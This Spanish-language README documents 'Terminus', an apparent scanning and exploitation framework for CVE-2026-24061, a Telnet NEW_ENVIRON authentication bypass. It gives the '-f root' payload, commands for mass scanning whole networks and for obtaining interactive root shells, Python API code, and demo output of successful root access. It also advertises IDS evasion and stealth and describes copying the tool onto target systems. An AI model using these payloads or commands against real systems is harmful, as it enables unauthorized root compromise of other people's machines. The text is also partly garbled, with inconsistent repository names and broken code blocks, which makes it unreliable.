Terminus - Escáner y Marco de Explotación CVE-2026-24061

Un motor de análisis de seguridad para la vulnerabilidad de omisión de autenticación y escalada de privilegios Telnet NEW_ENVIRON CVE-2026-24061.

Resumen

Terminus es una herramienta profesional de investigación de seguridad diseñada para pruebas de penetración autorizadas y evaluación de vulnerabilidades de CVE-2026-24061. Esta vulnerabilidad crítica afecta implementaciones heredadas de daemons Telnet, permitiendo a atacantes remotos no autenticados omitir la autenticación y obtener acceso a nivel root.

¿Qué es CVE-2026-24061?

CVE-2026-24061 es una vulnerabilidad de Ejecución Remota de Código en servicios Telnet que admiten RFC 1572 (Opción de Entorno Telnet). La vulnerabilidad explota la sanitización incorrecta de la variable de entorno USER durante la subnegociación NEW_ENVIRON:

• Autenticación normal: USER=john → solicita contraseña
• Payload de exploit: USER=-f root → omite la autenticación, otorga shell root

Impacto:

• Omisión completa de autenticación (sin necesidad de contraseña)
• Escalada inmediata de privilegios a root
• Compromiso total del sistema

Servicios Afectados:

• Telnet GNU Inetutils telnetd heredado (específicamente versiones hasta 2.7)
• Firmware IoT con implementaciones Telnet vulnerables
• Sistemas de control industrial con servicios Telnet desactualizados

Características Clave

Escáner Masivo de Vulnerabilidades

• Escaneo de Alta Concurrencia: Escanee 1,000+ objetivos simultáneamente usando AsyncIO
• Soporte CIDR: Escanee rangos de red completos (192.168.0.0/24, 10.0.0.0/8)
• Modos de Detección Dual:
  • Pasivo (predeterminado): Rápido, seguro, detección basada en firmas
  • Verificación Activa (--verify): Prueba de exploit, confirma acceso root uid=0
• Análisis de Banners: Huella digital de tipos y versiones de daemons
• Puntuación de Riesgo: Evaluación de confianza multicapa (CRÍTICO, ALTO, MEDIO, BAJO)

Motor de Protocolo Compatible con RFC

• Clase TerminusNegotiator: API limpia para operaciones de protocolo Telnet
  • Terminus.handshake() - Handshake compatible con RFC 854
  • Terminus.exploit() - Entrega de payload CVE-2026-24061
• Negociación de Opciones Adecuada: Evita la detección IDS/IPS mediante el cumplimiento del protocolo
• Máquina de Estados: Manejo robusto de secuencias IAC (DO/DONT/WILL/WONT/SB/SE)

Explotación Controlada por Autorización

• Shell Interactivo: Shell completo post-explotación con acceso root
• Ejecución de Comandos: Ejecute comandos individuales y capture la salida
• Recopilación de Evidencia: Reúna uid, variables de entorno, información del sistema
• Mecanismos de Seguridad:
  • Requiere la bandera explícita --exploit
  • Deshabilitado en modo de escaneo por lotes
  • Registro de auditoría de todos los intentos de explotación

Informes Multi-Formato

• Terminal: Tablas con formato enriquecido con niveles de riesgo codificados por colores
• JSON: Integración SIEM/SOAR
• CSV: Seguimiento en hojas de cálculo
• HTML: Informes detallados con estadísticas
• Markdown: Salida amigable para documentación

Arquitectura

Motor Principal: TerminusNegotiator

El corazón de Terminus es la clase TerminusNegotiator, que proporciona una separación limpia entre el manejo del protocolo y la lógica de explotación:```python from terminus import TerminusNegotiator

Initialize engine

negotiator = TerminusNegotiator()

Step 1: RFC 854 compliant handshake

await negotiator.handshake(target="192.168.1.100", port=23)

Step 2: Deliver CVE-2026-24061 payload

result = await negotiator.exploit(payload="-f root")

if result.success: print(f"Root shell acquired: {result.evidence['uid']}")

### Enfoque de Motor vs. Script

**Scripts tradicionales** (herramientas existentes):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell

Motor Terminus:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report

---

## Instalación

### Requisitos
- **Python 3.10+**
- **Plataformas compatibles:**
  - Windows 10/11 (PowerShell)
  - Windows + WSL2 (Kali Linux, Parrot OS, Ubuntu)
  - Linux nativo (Kali, Parrot, Ubuntu, Debian)
  - macOS (con Python 3.10+)

### Inicio rápido (todas las plataformas)

#### Windows (PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git

# Run setup script
.\setup_env.ps1

# Activate virtual environment
.venv\Scripts\Activate.ps1

# Verify installation
terminus --version

Linux / WSL2 / macOS (Bash)```bash

Clone repository

git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406

Run setup script

chmod +x setup_env.sh ./setup_env.sh

Activate virtual environment

source venv/bin/activate

Verify installation

terminus --version

#### Instalación Manual (Todas las Plataformas)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406

# Create virtual environment
python3 -m venv venv

# Activate (Linux/macOS/WSL)
source venv/bin/activate

# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1

# Install dependencies
pip install -e .

# Verify
terminus --version

Dependencias (Multiplataforma)

• telnetlib3 - Implementación del protocolo Telnet con AsyncIO
• rich - Interfaz de terminal y formato (soporte ANSI en Windows/Linux)
• pydantic - Validación de datos y modelos
• aiofiles - E/S de archivos asíncrona
• jinja2 - Plantillas para informes
• pyyaml - Gestión de configuración
• pathlib - Manejo de rutas multiplataforma (integrado)

Nota: Todas las dependencias son Python puro o tienen ruedas multiplataforma. No se requiere compilación específica por plataforma.

Completado de Shell (Opcional)

Habilita el completado con tabulador para una entrada de comandos más rápida:

Bash```bash

_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc

### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc

Fish```bash

_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish

### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression

Pruébalo:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.

---

## Uso

### Modos de Escaneo

#### Escaneo de un Solo Objetivo```bash
terminus scan -t 192.168.1.100

Escaneo de Rango CIDR```bash

terminus scan -t 192.168.1.0/24

#### Escaneo por lotes basado en archivos```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500

Escaneo de Red de Alta Concurrencia```bash

terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200

### Modos de Detección

#### Detección Pasiva (Predeterminado - Seguro)```bash
terminus scan -t target.com --passive-only

Detección Agresiva (Todas las Heurísticas)```bash

terminus scan -t target.com --aggressive

#### Modo de Verificación Activa (Prueba de Explotación)```bash
terminus scan -t 192.168.1.100 --verify

Usage

Live Demonstration

Check version:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db

**Escaneo pasivo (por defecto - evaluación de riesgo conservadora):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Parsing 1 targets...
Found 1 valid targets

  Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00

╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061      │
│ Total Targets: 1         │
│ Scanned: 1               │
│ Failed: 0                │
│ Timeouts: 0              │
│                          │
│ Vulnerability Breakdown: │
│   Critical: 0            │
│   High: 0                │
│   Medium: 0              │
│   Low: 1                 │
│   Info: 0                │
│                          │
│ Duration: 3.53s          │
│ Avg Scan Time: 3522.22ms │
│                          │
╰──────────────────────────╯

                                 Terminus - CVE-2026-24061 Scan Results
╭───────────────┬──────┬───────────┬──────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮
│ Target        │ Port │  Status   │ Risk │ Daemon  │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │
├───────────────┼──────┼───────────┼──────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤
│ 172.17.45.122 │ 2323 │ completed │ Low  │ unknown │ Unknown │     YES     │    -     │       3522.22 │
╰───────────────┴──────┴───────────┴──────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

No vulnerable targets found

Verificación activa con --verify (prueba de explotación):```powershell PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323 --verify

================================================================ TERMINUS CVE-2026-24061 Scanner & Exploitation Framework

Parsing 1 targets... Found 1 valid targets

Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 1 0:00:00

╭────── Scan Summary ──────╮ │ CVE: CVE-2026-24061 │ │ Total Targets: 1 │ │ Scanned: 1 │ │ Failed: 0 │ │ Timeouts: 0 │ │ │ │ Vulnerability Breakdown: │ │ Critical: 1 │ │ High: 0 │ │ Medium: 0 │ │ Low: 0 │ │ Info: 0 │ │ │ │ Duration: 8.04s │ │ Avg Scan Time: 8029.55ms │ │ │ ╰──────────────────────────╯

                               Terminus - CVE-2026-24061 Scan Results

╭───────────────┬──────┬───────────┬──────────┬─────────┬─────────┬─────────────┬──────────┬───────────────╮ │ Target │ Port │ Status │ Risk │ Daemon │ Version │ NEW_ENVIRON │ Verified │ Duration (ms) │ ├───────────────┼──────┼───────────┼──────────┼─────────┼─────────┼─────────────┼──────────┼───────────────┤ │ 172.17.45.122 │ 2323 │ completed │ Critical │ unknown │ Unknown │ YES │ ROOT │ 8029.55 │ ╰───────────────┴──────┴───────────┴──────────┴─────────┴─────────┴─────────────┴──────────┴───────────────╯

Found 1 vulnerable targets!

**Explotación interactiva:**```powershell
PS C:terminus> python -m terminus exploit -t 172.17.45.122 -p 2323 --yes

================================================================
                        TERMINUS
       CVE-2026-24061 Scanner & Exploitation Framework
================================================================

Attempting exploitation of 172.17.45.122:2323...
Payload: -f root

CVE-2026-24061 exploitation attempt initiated with payload: -f root
CVE-2026-24061 exploitation SUCCESSFUL - root access obtained

[*] CVE-2026-24061 Interactive Shell Started
[*] Type 'exit' or press Ctrl+C to quit

whoami
root
┌──[root@parrot]─[~]
└──╼ #

Observaciones clave:

• Modo pasivo: Se detectó soporte NEW_ENVIRON pero se reportó riesgo BAJO (conservador)
• Verificación activa: Se confirmó acceso root (uid=0), se elevó a riesgo CRÍTICO con estado de verificación "ROOT"
• Explotación: Shell root inmediato sin solicitud de contraseña

Qué hace:

• Realiza primero la detección pasiva (banner + análisis de protocolo)
• Si se sospecha una vulnerabilidad, intenta la explotación real con el payload -f root
• Confirma el acceso root verificando uid=0 en la respuesta
• Eleva el riesgo a CRÍTICO cuando se confirma el acceso root
• Muestra el estado de verificación en los resultados del escaneo

Casos de uso:

• Validación de alta confianza para informes de cumplimiento
• Demostraciones de prueba de concepto
• Confirmación de explotabilidad antes de reportar a los proveedores
• Operaciones de red team que requieren recopilación de evidencia

Ejemplo de salida:``` Target Port Status Daemon Risk Verified 192.168.1.100 23 VULNERABLE inetutils-telnetd CRITICAL ROOT ACCESS 192.168.1.101 23 VULNERABLE netkit-telnetd HIGH Not tested 192.168.1.102 23 SAFE OpenBSD-telnetd LOW N/A

**Verificación por lotes:**```bash
terminus scan -f targets.txt --verify -o json -w verified_results.json

Nota: La verificación activa explota vulnerabilidades. Úselo solo con la autorización adecuada.

Formatos de Salida

Salida JSON```bash

terminus scan -t 192.168.1.0/24 -o json > results.json

#### Informe HTML```bash
terminus scan -f targets.txt -o html -w report.html

Exportación CSV```bash

terminus scan -t 10.0.0.0/24 -o csv > vulnerabilities.csv

### Explotación (Solo Uso Autorizado)

#### Shell Interactiva```bash
terminus exploit -t 192.168.1.100
# Requires confirmation prompt
# Grants root shell on vulnerable target

Ejecución de comandos```bash

terminus exploit -t 192.168.1.100 -c "id"

Output: uid=0(root) gid=0(root) groups=0(root)

#### Carga útil personalizada```bash
terminus exploit -t 192.168.1.100 --payload "-f admin"

Comandos de Utilidad

Actualizar Firmas de Vulnerabilidades```bash

terminus update-signatures

#### Verificar Resultados Anteriores```bash
terminus verify -f results.json

Mostrar Versión y Firmas```bash

terminus version

---

## Configuración del Entorno de Pruebas

### Para Red Team: Despliegue Multiplataforma

**Terminus está diseñado para un despliegue portátil** - copie el directorio a cualquier sistema Windows/Linux y ejecútelo sin instalación:```bash
# Copy terminus directory to target system
# No hardcoded paths - everything is relative

# Run directly (no installation needed)
cd terminus
python3 -m terminus scan -t 192.168.1.0/24

# All output stays in project directory:
# - Logs: ./logs/terminus.log
# - Reports: ./reports/
# - Config: ./config.yaml

Entorno de Pruebas WSL2 (Windows)

Recomendado para estaciones de trabajo de Red Team en Windows - entorno Linux aislado para desplegar servicios de prueba vulnerables:

Instalar WSL2 con Kali o Parrot```powershell

Windows PowerShell (Admin)

Install WSL2

wsl --install

Install Kali Linux

wsl --install -d kali-linux

OR Install Parrot OS (if available)

wsl --install -d ParrotOS

Verify

wsl -l -v

#### Dentro de WSL2 (Kali/Parrot)```bash
# Update system
sudo apt update && sudo apt upgrade -y

# Install Terminus dependencies
sudo apt install python3 python3-pip python3-venv

# Install testing tools
sudo apt install netkit-telnetd telnetd wireshark tcpdump

# Clone and setup Terminus
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406
cd Terminusb-CVE-2026-2406
./setup_env.sh
source venv/bin/activate

Implementar Servicio de Prueba Vulnerable (Solo WSL2)

ADVERTENCIA: Solo en entornos de laboratorio aislados. Nunca en sistemas de producción.```bash

Inside WSL2

Install vulnerable netkit-telnetd version

sudo apt install netkit-telnetd=0.17-*

Configure for NEW_ENVIRON support

Edit /etc/inetd.conf to enable telnet

Start service

sudo systemctl restart inetd

Test from Windows host

From PowerShell:

terminus scan -t $(wsl hostname -I)

### Matriz de Pruebas Multiplataforma

Prueba Terminus en todas las plataformas utilizadas por tu Red Team:

| Plataforma | Instalación | Escaneo | Explotación |
|----------|-------------|----------|--------------|
| Windows 10/11 (PowerShell) | Sí | Sí | Sí |
| WSL2 - Kali Linux | Sí | Sí | Sí |
| WSL2 - Parrot OS | Sí | Sí | Sí |
| WSL2 - Ubuntu | Sí | Sí | Sí |
| Kali Linux nativo | Sí | Sí | Sí |
| Parrot OS nativo | Sí | Sí | Sí |
| macOS | Sí | Sí | Sí |

---

## Referencia de la API

### Integración con Python```python
import asyncio
from terminus import TerminusScanner, TerminusExploiter, TerminusNegotiator
from terminus.reporting.models import RiskScore

async def scan_network():
    # High-level scanner
    async with TerminusScanner() as scanner:
        async for result in scanner.scan_targets(["192.168.1.0/24"]):
            if result.risk_score == RiskScore.CRITICAL:
                print(f"CRITICAL: {result.target}")
                print(f"   Daemon: {result.daemon_type} {result.version}")
                print(f"   Confidence: {result.vulnerability_confidence:.2%}")

async def exploit_target():
    # Direct engine usage
    negotiator = TerminusNegotiator()
    
    # Handshake
    success = await negotiator.handshake(target="192.168.1.100", port=23)
    if not success:
        print("Handshake failed")
        return
    
    # Exploit
    result = await negotiator.exploit(payload="-f root")
    if result.success:
        print(f"Root access obtained")
        print(f"Evidence: {result.evidence}")

# Run
asyncio.run(scan_network())

Seguridad y Ética

Advertencia Legal

Esta herramienta está destinada SOLO para:

• Pruebas de penetración autorizadas
• Investigación de seguridad en entornos controlados
• Competiciones CTF y laboratorios educativos
• Evaluaciones de seguridad defensiva con permiso por escrito

El uso no autorizado es ILEGAL y poco ético.

Mecanismos de Seguridad

1. Autorización Requerida: La explotación requiere la bandera explícita --exploit
2. Solicitudes de Confirmación: Confirmación interactiva antes de la explotación
3. Registro de Auditoría: Todos los intentos de explotación se registran con marcas de tiempo
4. Aplicación de Objetivo Único: Explotación deshabilitada en modo de escaneo por lotes
5. Limitación de Velocidad: Previene DoS accidental durante el escaneo

Divulgación Responsable

Si descubres sistemas vulnerables usando Terminus:

1. NO explotes sistemas sin autorización por escrito
2. Reporta los hallazgos a los propietarios de los sistemas mediante divulgación responsable
3. Documenta los hallazgos usando las funciones de informes de Terminus
4. Sigue las pautas de divulgación coordinada de vulnerabilidades

Referencias

Información CVE

• ID CVE: CVE-2026-24061
• Gravedad: CRÍTICA (CVSS 9.8)
• Vector: Red, Sin autenticación, Baja complejidad

Investigación e Implementación

• Investigación Principal: SafeBreach-Labs CVE-2026-24061
• Exploit de Referencia: telnet_rce.py
• Escáner por Lotes: TryA9ain CVE-2026-24061

Estándares de Protocolo

• RFC 854: Especificación del Protocolo Telnet
• RFC 1572: Opción de Entorno Telnet

Pruebas y Validación

Cobertura de Pruebas

• Más del 90% de cobertura de código con pytest
• Pruebas unitarias para todos los módulos principales
• Pruebas de integración con servidor Telnet simulado
• Benchmarks de rendimiento (1,000 objetivos < 60 segundos)

Lista de Verificación de Pruebas Manuales

• Escanear servicio vulnerable (verificar detección)
• Escanear servicio parcheado (verificar que no haya falsos positivos)
• Probar bypass de autenticación (sin solicitud de contraseña)
• Verificar escalada de privilegios (uid=0)
• Monitorear alertas IDS (verificar sigilo)
• Prueba de rendimiento (1,000+ objetivos)

Configuración

config.yaml (Multiplataforma)

Todas las rutas son relativas a la raíz del proyecto: funciona en Windows, Linux y WSL sin modificación:```yaml

config.yaml - Cross-platform configuration

All paths relative to project directory

scanner: default_port: 23 connect_timeout: 3.0 handshake_timeout: 5.0 max_concurrent: 1000 rate_limit: 100 # connections/second

detection: passive_only: true # Safe mode by default banner_timeout: 2.0 heuristic_checks: true

Signature database (relative path)

signatures_db: "./signatures.db"

exploit: require_authorization: true default_payload: "-f root" evidence_collection: true interactive_shell: true

reporting: default_format: "terminal" include_safe_targets: false verbosity: "normal"

Output directory (relative path - works on Windows/Linux)

output_dir: "./reports"

logging: level: "INFO"

Log file (relative path - automatic directory creation)

file: "./logs/terminus.log" format: "json" console_enabled: true

Acknowledgments

• SafeBreach Labs: Original CVE-2026-24061 research and exploit implementation
• TryA9ain: Batch scanning approach inspiration
• RFC Authors: Telnet protocol specifications